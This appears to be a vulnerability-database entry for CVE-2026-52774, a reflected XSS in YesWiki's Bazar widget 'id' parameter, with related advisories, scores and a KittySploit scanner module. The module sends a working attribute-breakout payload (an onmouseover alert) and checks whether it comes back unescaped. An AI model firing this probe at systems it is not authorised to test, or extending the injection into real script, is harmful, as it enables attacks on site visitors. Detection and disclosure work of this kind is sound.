YesWiki Bazar Widget - Reflected XSS via 'id' Parameter Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2026-52774 | 9 Jul 202622:35 | – | circl | |
| CVE-2026-52774 | 4 Sep 202623:51 | – | cve | |
| CVE-2026-52774 Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes in YesWiki | 4 Sep 202623:51 | – | cvelist | |
| EUVD-2026-71806 | 4 Sep 202623:51 | – | euvd | |
| YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes | 9 Jul 202621:01 | – | github | |
| CVE-2026-52774-YESWIKI-XSS | 11 Oct 202623:12 | – | kitploit | |
| CVE-2026-52774 | 4 Sep 202623:51 | – | mend | |
| YesWiki Bazar Widget - Reflected XSS via 'id' Parameter | 14 Oct 202602:05 | – | nuclei | |
| CVE-2026-52774 | 5 Sep 202600:17 | – | nvd | |
| GHSA-R5XW-GCGW-HWP5 YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes | 9 Jul 202621:01 | – | osv |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': "YesWiki Bazar Widget - Reflected XSS via 'id' Parameter Detection",
'description': "YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2026', 'yeswiki', 'xss', 'reflected'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5',
'https://nvd.nist.gov/vuln/detail/CVE-2026-52774',
],
'cve': 'CVE-2026-52774',
}
def run(self):
path = '/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_any = ('yeswiki', 'YesWiki',)
body_all = ('data-formid="" onmouseover="alert(document.domain)" x=""', 'widgetapp',)
ctype_any = ('text/html',)
if (any(m in body for m in body_any)) and (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='medium',
reason="YesWiki Bazar Widget - Reflected XSS via 'id' Parameter detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.16.1
EPSS0.00658
SSVC